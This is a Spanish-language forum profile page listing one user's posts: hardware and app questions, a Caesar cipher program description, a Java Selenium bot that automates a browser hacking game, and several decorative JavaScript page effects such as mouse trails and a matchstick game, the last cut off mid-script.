Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Adalher

#41
Hola a todos,

¿dónde puedo conseguir un número virtual gratis para WhatsApp?


Gracias y saludos
#42
Hola a todos,

primero sobre mi hardware: tengo una PC con una GTX 1060 y 16 GB de RAM. La CPU es una Ryzen 5 1600. A pesar de este hardware, el Modpack todavía se laguea un período de unos pocos segundos. Mi TARGR, así como mi RAM y CPU no se utilizan por completo. El área de procesamiento ya se ha reducido a 8 fragmentos. ¿Qué debo hacer en el Twitch Launcher para que vuelva a funcionar sin problemas? ¿O puede deberse realmente al hardware? Solo como explicación: yo puedo jugar a GTA y Rainbow con altas resoluciones en constantes 60 FPS.

Gracias y saludos
#43
Hola a todos,

cómo puedo crear símbolos cómo estos: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Gracias y saludos
#44
Ideas y Sugerencias / Bytes
Octubre 21, 2019, 07:17:25 PM
Hola a todos,

quería darles la siguiente idea: ¿Por qué no hacen un sistema de puntos? No me refiero a la reputación. Más bien a un sistema en donde usuarios podrán donar a otros usuarios puntos. A los puntos se los podía llamar bytes.

Y qué si se llega a los 1000 bytes entonces se podrán canjearlos por 5, 38 €.


Gracias y saludos
#45
Java / Java - Caesar cifra ESTABLE – v0.70
Octubre 19, 2019, 05:03:50 PM
Caesar Cipher STABLE - v1.00 - By Iyyel

Hola chicos y chicas!
Hoy decidí hacer una pequeña muestra de un software de cifrado para ustedes. El programa se encuentra en estado beta como lo sugiere su nombre, porque todavía hay algunos errores. Así que vamos a empezar con el espectáculo.

Tabla de contenido

1. Por defecto
2. FAQ
3. Exportar
4. Limpiar
5. Llave
6. Decriptar
7. cifrar
8. Bugs conocidos


1. Por defecto

Esto es lo que verán después de haber ejecutado la aplicación. Verán dos áreas de texto, en donde el usuario puede escribir ya sea texto descifrado o cifrado, así como botones de control y el valor de la llave a la derecha de las áreas de texto.

2. FAQ

La pestaña de FAQ está llena de toda información que posiblemente deseen saber sobre el software y sobre cómo operarlo. Además, tiene información relevante sobre el desarrollador si fuera necesario algún contacto.

3. Exportar

El botón de exportación se usa para cuando el usuario desea generar lo que está escrito en las pestañas de cifrado y descifrado, así como el valor de la llave más información adicional. Hará un archivo .txt llamado CaesarcifraTexto en una carpeta llamada Caesercifra en el directorio C:\.

4. Limpiar

El botón Limpiar le hace honor a su nombre. Simplemente borra tanto las áreas de descifrado como las de cifrado, por lo que están listas para ser utilizadas para un nuevo uso.

5. Llave

Aquí es donde insertas el valor shift que deseas que utilice el cifrado césar para cifrar el texto descifrado. Un ejemplo de una instancia con el valor shift 1 se muestra en la imagen de arriba. El valor shift puede ser negativo o positivo.

6. Decriptar

Cuando se hace clic en el botón decriptar, el programa toma el texto del área de texto 'cifrado' y lo ejecuta a través de un algoritmo de descifrado con el valor shift como entrada, y luego emite el texto descifrado dentro del área 'Decriptado'.

7. Cifrar

El botón de cifrado se usa cuando el usuario desea cifrar el texto dentro del área 'Decriptar' basado en el valor shift insertado.

8. Bugs conocidos
Actualmente solo hay un bug conocido en el software. No hay posibilidad de scroll en las dos áreas de texto, lo que podría ser bastante frustrante si se trabaja con textos más grandes. Si encuentras algún error, por favor repórtalo en el hilo o envíalo por MP. Gracias.

Caesar cifra BETA - v0.70:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

VirusTotal:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Código fuente - v0.70:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Autor: Iyyel

Saludos
#46
Hola a todos,

Código: php

import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.htmlunit.HtmlUnitDriver;

public class Main {

    private static final String _URL = "http://ddosthegame.com/index.php", _NOMBREUSUARIO = "/*nombreusuario*/", _CONTRASENA = "/*contrasena*/";

    static WebDriver driver;
    static WebElement element;

    public static final void imprimir(final String s)
    {
        System.out.println(s);
    }

    public static void main(String[] args)
    {
        imprimir("Conectando...");
        conectar(_URL);
    }

    public static void conectar(String url)
    {
        driver = new HtmlUnitDriver();
        driver.get(url);

        String usuarioEl = "nombreusuario", passEl = "contrasena";

        imprimir("Estableciendo datos de nombreusuario... (" + _NOMBREUSUARIO + ")");

        element = driver.findElement(By.name(usuarioEl));
        element.sendKeys(_NOMBREUSUARIO);

        imprimir("Estableciendo datos de la contraseña... (" + _CONTRASENA + ")");

        element = driver.findElement(By.name(passEl));
        element.sendKeys(_CONTRASENA);

        imprimir("Iniciando seción ");

        driver.findElement(By.name("login_today")).click();

        if (driver.getTitle().contains("- index"))
        {
            imprimir("Ha iniciado sesión correctamente!");
        }

        driver.get("http://ddosthegame.com/index.php?page=resolve");

        imprimir(driver.getTitle());

        driver.close();
    }

    public static void resolverBot(String nombreusuario, int cantidad)
    {
        imprimir("Resolviendo " + nombreusuario + " " + amount + "veces");
        for (int i = 0; i < 100; i++)
        {
            element = driver.findElement(By.name("userid"));   
            element.sendKeys(nombreusuario);
            driver.findElement(By.name("resolve_user")).click();
        }
    }


Saludos
#47
Front-end / JavaScript - Juego de fosforos
Octubre 18, 2019, 05:33:53 AM
Hola a todos,

la mayoría de ustedes saben bien de este juego. El javascript trata de quitar los
fósforos de tal manera que al final no se tenga que sacar el último. Con ello se
juega contra la computadora.

Al principio se fija cuantos fósforos se alistaran en el juego.

En cada jugada se puede quitar entre uno y tres maderas. Entonces el
javascript calcula los fósforos restantes y actualiza la visualización en la página
principal.

Naturalmente, al mismo tiempo, la computadora o el javascript también trata de
sacarles el último fósforo y con eso ganar el juego.

Para iniciar nuevamente el javascript tienen que actualizar la página principal en el
navegador.

Código:
Código: javascript

<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
var obj1 = new Array(100), mc,mc1, cur_obj, total_sel, win = false, cpu_sel, ost, user_sel, game = true;

function RemoveElementByNum(num) {
document.getElementById("ch"+num).style.display = 'none';
document.getElementById("im"+num).style.display = 'none';
}

function RemoveCpuSel(num) {
del = num;
for ( i=0; i<mc1; i++ ) {
ename = document.getElementById("ch"+i);
if (del!=0) {
if (ename.style.display != 'none') {
ename.style.display = 'none';
document.getElementById("im"+i).style.display = 'none';
del-=1;
}
}

}
}

function GetClickedElement(){
total=0;
result=false;
for (i=0; i<mc1; i++) {
ename = document.getElementById("ch"+i);
if ((ename.style.display != 'none') && (ename.checked)) {
total++;
}
}
if (total>3) {
alert('Demasiados fosforos seleccionados. No puedes seleccionar mas de tres fosforos!');
result=false;
} else {
result=true;
}
document.getElementById("maderalog").value = "Tu tomas "+total+" pieza/s.";
total_sel=total;
user_sel=total;
return result;
}

function AI() {
if ( (mc>1) && (win==false) ) {
game = true;
}
if (game == true) {
if ( (mc-user_sel)==1 ) {
win=true;
game=false;
}
if ( (mc%4)!=1 ) {
ost=(mc-user_sel)%4;
if (ost==0) {
ost=4;
}
if (ost>1) {
cpu_sel=ost-1;
} else {
cpu_sel=Math.floor( (3*Math.random()) );
cpu_sel++;
if (cpu_sel>mc) {
cpu_sel=mc;
}
}
}
else {
cpu_sel=4-user_sel;
}
RemoveCpuSel(cpu_sel);
mc=mc-(cpu_sel+user_sel);
document.getElementById("maderalog").value='La computadora toma '+cpu_sel+' pieza/s.';
}
if ( (mc==1) || (mc<1)) {
game = false;
if (win == true) {
document.getElementById("maderalog1").style.visibility='hidden';
document.getElementById("maderalog").style.visibility='hidden';
document.getElementById("eliminar").style.visibility='hidden';
alert('Felicitaciones! Tu has ganado!!!!');
game=false;
} else {
document.getElementById("maderalog1").style.visibility='hidden';
document.getElementById("maderalog").style.visibility='hidden';
alert('Tu has perdido. La inteligencia artificial ha ganado!!!! JA - JA - JA!!!!');
game=false;
document.body.innerHTML = ""
}
}
document.getElementById("maderalog1").value = "Sobra/n " +mc+ " pieza/s";
}

function RemoveSelected(){
if ((total_sel!=0) && (total_sel<4)) {
user_sel=total_sel;
for (i=0; i<mc1; i++) {
ename = document.getElementById("ch"+i);
if ((ename.style.display != 'none') && ename.checked) {
RemoveElementByNum(i);
}
total_sel=0;
}
AI();
} else {
if (total_sel>3) {
alert("Demasiados fosforos seleccionados.");
} else {
alert('Nada seleccionado');
}
}
}


function initMadera() {
mc = prompt("Cantidad de fosforos?. La cantidad debe hallarse entre 7 y 50", "23");
         if (mc<7) mc=7;
         if (mc>50) mc=50;

mc1 = mc;
document.write('<center><table border="0" cellspacing="0" cellpadding="0"><tr>');
for (i=0; i<mc; i++) {
document.write('<td align="center"><div style="height: 70px; width: 7px; background-color: #C0C077;" name="im'+i+'" id="im'+i+'"><div style="height: 7px; width: 7px; background-color: #FF3300;"></div></div></td>');
obj1[i]=1;
}
document.write('</tr><tr>');
for (i=0; i<mc; i++) {
document.write('<td><input type="checkbox" onclick="GetClickedElement();" name="ch'+i+'" id="ch'+i+'" /></td>');
}
document.write('</tr></table>');
document.write('<br /><input type="button" value="Eliminar fosforos seleccionados" onclick="RemoveSelected();" id="eliminar" />');
document.write('<br /><br /><br /><br />');
document.write('<input type="text" name="maderalog" id="maderalog" size="30" /><br />');
document.write('<input type="text" name="maderalog1" id="maderalog1" size="30" /><br />');
document.write('</center>');
}
//-->
</script>
<script type="text/javascript">initMadera();</script>
<!-- Presentado por javascripts-gratis.de -->

</body>
</html>


Página web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos
#48
Front-end / JavaScript - Asteroids
Octubre 16, 2019, 03:15:29 PM
Hola a todos,

algunos quizás conozcan todavía el juego Asteroids, que en los años 80 era bastante popular y uno de los primeros juegos de computadora.

Ahora se remodelo y se produjo este javascript, con el cual se puede lanzar tiros hacia la página actual. Para eso usen fácilmente el espacio. Ustedes pueden dirigir la astronave con las teclas del cursor. Los puntos les serán mostrados abajo a la derecha. Al principio se puede ver la astronave arriba a la izquierda.

Y ahora diviértanse destruyendo la página.

Le agregué unos botones para que puedan probar destruir elementos.

Los archivos se los dejo mediante un link ya que el espacio no alcanza para publicar los contenidos de los mismos.

Códigos: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Autor: Erik Rothoff Andersson

Saludos

PD.: Ustedes pueden restaurar todos los elementos recargando fácilmente la página con F5. Para finalizar el modo de juego presionen la telca ESC en el teclado!
#49
Front-end / JavaScript - Imagen fade in
Octubre 16, 2019, 03:12:22 PM
Hola a todos,

aqui podran ustedes dejar que una imagen de su elección se "haga grande"; e. s.: al
comienzo la imagen no es visible en sus páginas principales, pero crece dentro de
poco tiempo hacia el tamaño configurado.

En este javascript pueden configurar tres parametros: la anchura, la altura y la URL
de la imagen. Cuando la imagen se haya cargado en sus páginas principales, se hace
grande y se queda en sus páginas principales en el tamaño configurado.

Deje un imagen gif en el ejemplo.

Codigo:

Código: javascript

<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
// Script by Freddus
// visit my site: http://www.friederklein.de

/////////////////////
var altura = 60;    // Configurar aqui la altura original de la imagen
var anchura = 468;  // Configurar aqui la anchura original de la imagen
var imagensita = "https://media.giphy.com/media/l41lLf17l7YCZ4Tjq/giphy.gif";  // Dirección hacia la imagen
/////////////////////
var contador=0;

function emboque(){
  var pixels;
  document.getElementById("miimagenzoom").height = document.getElementById("miimagenzoom").height+altura/20;
  document.getElementById("miimagenzoom").width = document.getElementById("miimagenzoom").width+anchura/20
  if (contador<20){
    setTimeout("emboque()",50);
  }// Fin del if
  contador++;
}//Fin del emboque

function initimagen() {
document.write('<div align="center">');
document.write('<img height="0" width="0" id="miimagenzoom" src="'+imagensita+'" onload="emboque();">');
document.write('</div>');
}
//-->
</script>
<script type="text/javascript">initimagen();</script>
<!-- Presentado por javascripts-gratis.de -->

</body>
</html>


Página web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Autor: Freddus

Saludos
#50
Front-end / JavaScript - Imagenes casuales
Octubre 16, 2019, 01:53:37 PM
Hola a todos,

este script de javascript cambia cada X-segundo la imagen en sus páginas principales.

Con ello ustedes configuran facilmente que imagenes deben ser mostradas y
especifican la cantidad de segundos, despues de los cuales se se debera elegir y
mostrar una nueva imagen casual y ya empieza.

En este ejemplo ya se agrego imagenes y la cantidad de segundos fue puesta a dos.

Codigo:

Código: javascript

<!DOCTYPE html>
<html>
<head>
 <title>Ejemplo de javascript</title>
 <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
// Script e idea: Freddus

// Aqui por favor ingresar las URLs de la imagenes dentro de las "" y separadas respectivamente por un ,
var i = 0;
var urls = new Array();
urls[i++] = "https://media.giphy.com/media/l41lLf17l7YCZ4Tjq/giphy.gif",
urls[i++] = "https://media.giphy.com/media/l1KdaZkQLqgeoPu1y/giphy.gif",
urls[i++] = "https://media.giphy.com/media/xT0CyGZSg7oN0ochi0/giphy.gif",
urls[i++] = "https://media.giphy.com/media/3o6MbubPM8ek3dbNle/giphy.gif",
urls[i++] = "https://media.giphy.com/media/3ov9k5IJTC6YXh91iU/giphy.gif";


// Aqui configurar el tiempo que quieren que pase hasta que se cambie de imagen
var segundos = 2;


///////////////////////////////////////////////
// No cambiar nada mas, como siempre ;o)
var lastimage;
document.write("<div id='randomimagediv'></div>");

function newimage()
{
 var newurl;
 do
 {
 newurl = urls[Math.floor(Math.random()*urls.length)];
 }
 while (newurl == lastimage)
 lastimage = newurl;
 document.getElementById("randomimagediv").innerHTML = '<img src="' + newurl + '" alt="" />';
}
//-->
</script>
<script type="text/javascript">window.setInterval("newimage()",segundos*1000);</script>
<!-- Presentado por javascripts-gratis.de -->
</body>
</html>


Página web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Autor: Freddus

Saludos
#51
Front-end / JavaScript - Imagenes rotativas
Octubre 16, 2019, 01:00:39 PM
Hola,

en este código de javascript pueden dejar rotar en circulo cualquier cantidad de diferentes imagenes.

Con ello pueden cambiar en el comienzo del script no solamente las imágenes y sus pertenecientes links, sino también la velocidad, la posición, la dirección y el radio del circulo.

En nuestro ejemplo rotan cuatro imágenes arbitrarias.

Para ajustar las imágenes, por favor cambien el vector imagenes. Allí agreguen los links y las imágenes según el siguiente ejemplo:

URL del link => URL de la imagen

Osea por ejemplo así:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta => No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Código:

Código: javascript

<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
// Ajustar tamaño y posición
var zx,zy;
var mediox = 100;
var medioy = 50;
var radio = 100;
var speed  = 2; // 1-10... + o - para la dirección
var imagenes_i = 0;
var imagenes = new Array();
var alpha = new Array();

// Ajustar las imagenes aqui
// Sintaxis: Link-URL => URL de la imagen
imagenes[imagenes_i++] = 'http://4.bp.blogspot.com => http://4.bp.blogspot.com/-y0zqfg-NQvg/UD0fMKA4rFI/AAAAAAAAAC8/6gn1s0JmCCc/s320/1418009890.png';
imagenes[imagenes_i++] = 'https://2.bp.blogspot.com => https://2.bp.blogspot.com/-d10rOGrZ7Hs/Tz5GT465rhI/AAAAAAAAHPs/pea6FI2bxKk/s200/juego+los+animales+de+granja.jpg';
imagenes[imagenes_i++] = 'https://pbs.twimg.com => https://pbs.twimg.com/profile_images/611270112843165697/sFT_vQcc_400x400.jpg';
imagenes[imagenes_i++] = 'http://www.misjuegos.com.mx => http://www.misjuegos.com.mx/wp-content/uploads/2009/05/8.png';


// A partir de aqui no cambiar mas nada
function initRotat() {
alpha_tmp = 0;
speed = speed / 1000;
for ( var i = 0; i < imagenes.length; i++)
{
alpha[i] = 6.28 / (imagenes.length) + alpha_tmp; // 0,1.6,3.2,4.8
var tmp = imagenes[i].split(" => ");
document.write('<div id="icon'+i+'" style="position:absolute;"><a href="'+tmp[0]+'"><img src="'+tmp[1]+'" alt="" border="0" /></a></div>');
alpha_tmp = alpha[i];
}
}
function pol_zu_kart(mx,my,radio,alp)
{
zx = mx + (radio * Math.sin(alp));
zy = my + (radio * Math.cos(alp));
}

function seguirgirando()
{
for (var i = 0; i < imagenes.length; i++)
{
alpha[i]+=speed;
if (speed>0)
{
if(alpha[i]>6.28) alpha[i]-=6.28;
}
else
{
if(alpha[i]<0) alpha[i]+=6.28;
}
pol_zu_kart(mediox,medioy,radio,alpha[i]);

document.getElementById('icon'+i).style.top=zy+'px';
document.getElementById('icon'+i).style.left=zx+'px';
}
}
initRotat();
//-->
</script>
<script type="text/javascript">status = window.setInterval("seguirgirando()",10);</script>
<!-- Presentado por javascripts-gratis.de -->
</body>
</html>


Página web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos
#52
Front-end / JavaScript - Burbujas ascendientes
Octubre 16, 2019, 12:57:20 PM
Hola,

código:

Código: javascript

<!DOCTYPE html>
<html>
<head>
 <title>Ejemplo de javascript</title>
 <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'> <!--
Image0 = new Image();
Image0.src = "bubbles.gif";
Amount = 20;
Ymouse = -50;
Xmouse = -50;
Ypos = new Array();
Xpos = new Array();
Speed = new Array();
rate = new Array();
grow = new Array();
Step = new Array();
Cstep = new Array();
nsSize = new Array();
ns = (document.layers)?1:0;
(document.layers)?window.captureEvents(Event.MOUSEMOVE):0;
function Mouse(e) {
Ymouse=(e)?e.pageY-20:window.event.y-20;
Xmouse=(e)?e.pageX:window.event.x;
}
(document.layers)?window.onMouseMove=Mouse:document.onmousemove=Mouse;
for (i = 0; i < Amount; i++) {
Ypos[i] = Ymouse;
Xpos[i] = Xmouse;
Speed[i] = Math.random()*4+1;
Cstep[i] = 0;
Step[i] = Math.random()*0.1+0.05;
grow[i] = 8;
nsSize[i] = Math.random()*15+5;
rate[i] = Math.random()*0.5+0.1;
}
if (ns) {
for (i = 0; i < Amount; i++) {
document.write("<LAYER NAME='sn"+i+"' LEFT=0 TOP=0><img src="+Image0.src+" name='N' width="+nsSize[i]+" height="+nsSize[i]+"></LAYER>");
  }
}
else {
document.write('<div style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i = 0; i < Amount; i++) {
document.write('<img id="si'+i+'" src="'+Image0.src+'" style="position:absolute;top:0px;left:0px;filter:alpha(opacity=90);">');
}
document.write('</div></div>');
}
function MouseBubbles() {
var hscrll = (document.layers)?window.pageYOffset:document.documentElement.scrollTop;
var wscrll = (document.layers)?window.pageXOffset:document.documentElement.scrollLeft;
for (i = 0; i < Amount; i++){
sy = Speed[i] * Math.sin(270 * Math.PI / 180);
sx = Speed[i] * Math.cos(Cstep[i] * 4);
Ypos[i] += sy;
Xpos[i] += sx;
if (Ypos[i] < -40) {
Ypos[i] = Ymouse;
Xpos[i] = Xmouse;
Speed[i] = Math.random() * 6 + 4;
grow[i] = 8;
nsSize[i] = Math.random() * 15 + 5;
}
if (ns) {
document.layers['sn'+i].left = Xpos[i] + wscrll;
document.layers['sn'+i].top = Ypos[i] + hscrll;
}
else {
document.getElementById('si'+i).style.left = Xpos[i] + wscrll+"px";
document.getElementById('si'+i).style.top = Ypos[i] + hscrll+"px";
document.getElementById('si'+i).style.width = grow[i]+"px";
document.getElementById('si'+i).style.height = grow[i]+"px";
}
grow[i] += rate[i];
Cstep[i] += Step[i];
if (grow[i] > 24) grow[i] = 25;
}
setTimeout('MouseBubbles()', 10);
}
//-->
</script>
<!-- Presentado por javascripts-gratis.de --><br />
<script type="text/javascript">MouseBubbles();</script>
</body>
</html>


Página web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos
#53
Front-end / JavaScript - Texto al lado del raton
Octubre 16, 2019, 12:53:02 PM
Hola,

aqui tienen un codigo que posiciona un texto al lado del raton y que con el movimiento del raton también lo arrastra:

Código: javascript

<!DOCTYPE html>
<html>
<head>
 <title>Ejemplo de javascript</title>
 <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
message = 'www.javascripts-gratis.de '; // Tu texto
FonT = 'Verdana'; // Tu fuente
ColoR = '000080'; // Tu color de letra
SizE = 3; // Tu tamaño de letra (solamente 1 hasta 7)!

var amount = 5, ypos =- 50, xpos = 0, Ay = 0, Ax = 0, By = 0, Bx = 0, Cy = 0, Cx = 0, Dy = 0, Dx = 0, Ey = 0, Ex = 0;
if (document.layers) {
for (i = 0; i < amount; i++) {
document.write('<layer name=nsl'+i+' top=0 left=0><font face='+FonT+' size='+SizE+' color='+ColoR+'>'+message+'</font></layer>');
}
window.captureEvents(Event.MOUSEMOVE);
function nsmouse(evnt) {
xpos = evnt.pageX + 20;
ypos = evnt.pageY + 20;
}
window.onMouseMove = nsmouse;
}
else if (document.getElementById) {
document.write("<div id='outermausi' style='position:absolute;top:0px;left:0px'>");
document.write("<div style='position:relative'>");
for (i = 0; i < amount; i++) {
document.write('<div id="text'+i+'" style="position:absolute;top:0px;left:0px;width:400px;height:20px"><font face='+FonT+' size='+SizE+' color='+ColoR+'>'+message+'</font></div>')
}
document.write("</div>");
document.write("</div>");
function iemouse(e) {
ypos = (e)?e.pageY:event.y + 20;
xpos = (e)?e.pageX:event.x + 20;
}
window.document.onmousemove = iemouse;
}
function makefollow() {
if (document.layers) {
document.layers['nsl'+0].top = ay;
document.layers['nsl'+0].left = ax;
document.layers['nsl'+1].top = by;
document.layers['nsl'+1].left = bx;
document.layers['nsl'+2].top = cy;
document.layers['nsl'+2].left = cx;
document.layers['nsl'+3].top = Dy;
document.layers['nsl'+3].left = Dx;
document.layers['nsl'+4].top = Ey;
document.layers['nsl'+4].left = Ex;
}
else if (document.getElementById) {
document.getElementById('outermausi').style.top = document.documentElement.scrollTop;
document.getElementById('text0').style.top = ay+"px";
document.getElementById('text0').style.left = ax+"px";
document.getElementById('text1').style.top = by+"px";
document.getElementById('text1').style.left = bx+"px";
document.getElementById('text2').style.top = cy+"px";
document.getElementById('text2').style.left = cx+"px";
document.getElementById('text3').style.top = Dy+"px";
document.getElementById('text3').style.left = Dx+"px";
document.getElementById('text4').style.top = Ey+"px";
document.getElementById('text4').style.left = Ex+"px";

}
}
function move() {
ey = Ey += (ypos - Ey) * 0.2;
ex = Ex += (xpos - Ex) * 0.2;
dy = Dy += (ey - Dy) * 0.3;
dx = Dx += (ex - Dx) * 0.3;
cy = Cy += (dy - Cy) * 0.4;
cx = Cx += (dx - Cx) * 0.4;
by = By += (cy - By) * 0.5;
bx = Bx += (cx - Bx) * 0.5;
ay = Ay += (by - Ay) * 0.6;
ax = Ax += (bx - Ax) * 0.6;
makefollow();
setTimeout('move()', 10);
}
//-->
</script>
<script type="text/javascript">move();</script>
</body>
</html>


Página web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Gracias y saludos
#54
Front-end / JavaScript - Trio 3
Octubre 16, 2019, 12:47:57 PM
Hola a todos,

les dejo un seguidor de raton.

Código:
Código: javascript

<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
//Trio Script by kurt.grigg (at) virgin.net

//Elige los colores y el tamaño
var a_Colour='ff0000';
var b_Colour='222222';
var c_Colour='0000ff';
var Size=50;
//A partir de aca no cambiar mas nada

var YDummy=new Array(),XDummy=new Array(),xpos=0,ypos=0,ThisStep=0;step=0.2;
if (document.layers){
window.captureEvents(Event.MOUSEMOVE);
function nsMouse(evnt){
xpos = window.pageYOffset+evnt.pageX+6;
ypos = window.pageYOffset+evnt.pageY+16;
}
window.onMouseMove = nsMouse;
}
else if (document.getElementById)
{
function ieMouse(e){
if (!e) {
xpos = document.documentElement.scrollLeft+event.x+6;
ypos = document.documentElement.scrollTop+event.y+16;
} else {
xpos = e.pageX+6;
ypos = e.pageY+16;
}
}
document.onmousemove = ieMouse;
}

function swirl(){
for (i = 0; i < 3; i++)
{

YDummy[i]=ypos+Size*Math.cos(ThisStep+i*2)*Math.sin((ThisStep+i*25)/2);

XDummy[i]=xpos+Size*Math.sin(ThisStep+i*2)*Math.sin((ThisStep+i*25)/2)*Math.sin(ThisStep/4);
}
ThisStep+=step;
setTimeout('swirl()',10);
}

var amount=10;
if (document.layers){
for (i = 0; i < amount; i++)
{
document.write('<layer name=nsa'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+a_Colour+'></layer>');
document.write('<layer name=nsb'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+b_Colour+'></layer>');
document.write('<layer name=nsc'+i+' top=0 left=0 width='+i/2+' height='+i/2+' bgcolor='+c_Colour+'></layer>');
}
}
else if (document.getElementById){
document.write('<div id="ODiv" style="position:absolute;top:0px;left:0px">'
+'<div id="IDiv" style="position:relative">');
for (i = 0; i < amount; i++)
{
document.write('<div id="x'+i+'" style="position:absolute;top:0px;left:0px;width:'+i/2+'px;height:'+i/2+'px;background:#'+a_Colour+';font-size:'+i/2+'"></div>');
document.write('<div id="y'+i+'" style="position:absolute;top:0px;left:0px;width:'+i/2+'px;height:'+i/2+'px;background:#'+b_Colour+';font-size:'+i/2+'"></div>');
document.write('<div id="z'+i+'" style="position:absolute;top:0px;left:0px;width:'+i/2+'px;height:'+i/2+'px;background:#'+c_Colour+';font-size:'+i/2+'"></div>');
}
document.write('</div></div>');
}
function prepos(){
var ntscp=document.layers;
var msie=document.getElementById;
if (document.layers){
for (i = 0; i < amount; i++)
{
if (i < amount-1)
{
ntscp['nsa'+i].top=ntscp['nsa'+(i+1)].top;ntscp['nsa'+i].left=ntscp['nsa'+(i+1)].left;
ntscp['nsb'+i].top=ntscp['nsb'+(i+1)].top;ntscp['nsb'+i].left=ntscp['nsb'+(i+1)].left;
ntscp['nsc'+i].top=ntscp['nsc'+(i+1)].top;ntscp['nsc'+i].left=ntscp['nsc'+(i+1)].left;
}
else
{
ntscp['nsa'+i].top=YDummy[0];ntscp['nsa'+i].left=XDummy[0];
ntscp['nsb'+i].top=YDummy[1];ntscp['nsb'+i].left=XDummy[1];
ntscp['nsc'+i].top=YDummy[2];ntscp['nsc'+i].left=XDummy[2];
}
}
}
else if (document.getElementById){
for (i = 0; i <  amount; i++)
{
if (i < amount-1)
{
document.getElementById('x'+i).style.top=document.getElementById('x'+(i+1)).style.top;
document.getElementById('x'+i).style.left=document.getElementById('x'+(i+1)).style.left;
document.getElementById('y'+i).style.top=document.getElementById('y'+(i+1)).style.top;
document.getElementById('y'+i).style.left=document.getElementById('y'+(i+1)).style.left;
document.getElementById('z'+i).style.top=document.getElementById('z'+(i+1)).style.top;
document.getElementById('z'+i).style.left=document.getElementById('z'+(i+1)).style.left;
}
else
{
document.getElementById('x'+i).style.top=YDummy[0]+"px";document.getElementById('x'+i).style.left=XDummy[0]+"px";
document.getElementById('y'+i).style.top=YDummy[1]+"px";document.getElementById('y'+i).style.left=XDummy[1]+"px";
document.getElementById('z'+i).style.top=YDummy[2]+"px";document.getElementById('z'+i).style.left=XDummy[2]+"px";
}
}
}
setTimeout("prepos()",10);
}
function Inicio(){
swirl(),prepos()
}
//-->
</script>
<script type="text/javascript">function addEvent179(obj,type,fn){if(obj.addEventListener){obj.addEventListener(type,fn,false)}else if(obj.attachEvent){obj["e"+type+fn]=fn;obj[type+fn]=function(){obj["e"+type+fn](window.event)};obj.attachEvent("on"+type,obj[type+fn])}};addEvent179(window,'load',Inicio);</script>
<!-- Presentado por javascripts-gratis.de -->
</body>
</html>


Página web: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Autor Kurt Grigg


Gracias y saludos
#55
Front-end / JavaScript - Logo Orbit
Octubre 16, 2019, 12:44:10 PM
Hola a todos,

Un texto cualquiera orbita en este codigo de javascript el raton como en una orbita.

Despues de una revisión, este código de javascript funciona ahora también en Mozilla Firefox.

Código:
Código: javascript

<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
//Logo Orbit II kurt.grigg (at) virgin.net

yourLogo='https://www.javascripts-gratis.de ';
logoFont='Verdana';
logoSize=1; // 1-7 only! Para una letra mas grande cambia logowidth y logoheight!
logoColor='888888';
logoWidth=70;
logoHeight=70;
logoSpeed=0.03;


//A partir de aqui no cambiar mas nada!
yourLogo=yourLogo.split('');
L=yourLogo.length;
Result="<font face="+logoFont+" size="+logoSize+" color="+logoColor+">";
TrigSplit=360/L;
br=(document.layers)?1:0;
if (br){
for (i=0; i < L; i++)
document.write('<layer name="ns'+i+'" top=0 left=0 width=14 height=14">'+Result+yourLogo[i]+'</font></layer>');
}
else{
document.write('<div id="outer" style="position:absolute;top:0px;left:0px"><div style="position:relative">');
for (i=0; i < L; i++)
document.write('<div id="ie'+i+'" style="position:absolute;top:0px;left:0px;width:14px;height:14px">'+Result+yourLogo[i]+'</font></div>');
document.write('</div></div>');
}
ypos=0;
xpos=0;
step=logoSpeed;
currStep=0;
Y=new Array();
X=new Array();
Yn=new Array();
Xn=new Array();
for (i=0; i < L; i++)
{
Yn[i]=0;
Xn[i]=0;
}
(document.layers)?window.captureEvents(Event.MOUSEMOVE):0;
function Mouse(e){
ypos = (e)?e.pageY:event.y;
xpos = (e)?e.pageX:event.x;
}
(document.layers)?window.onMouseMove=Mouse:document.onmousemove=Mouse;
function animateLogo(){
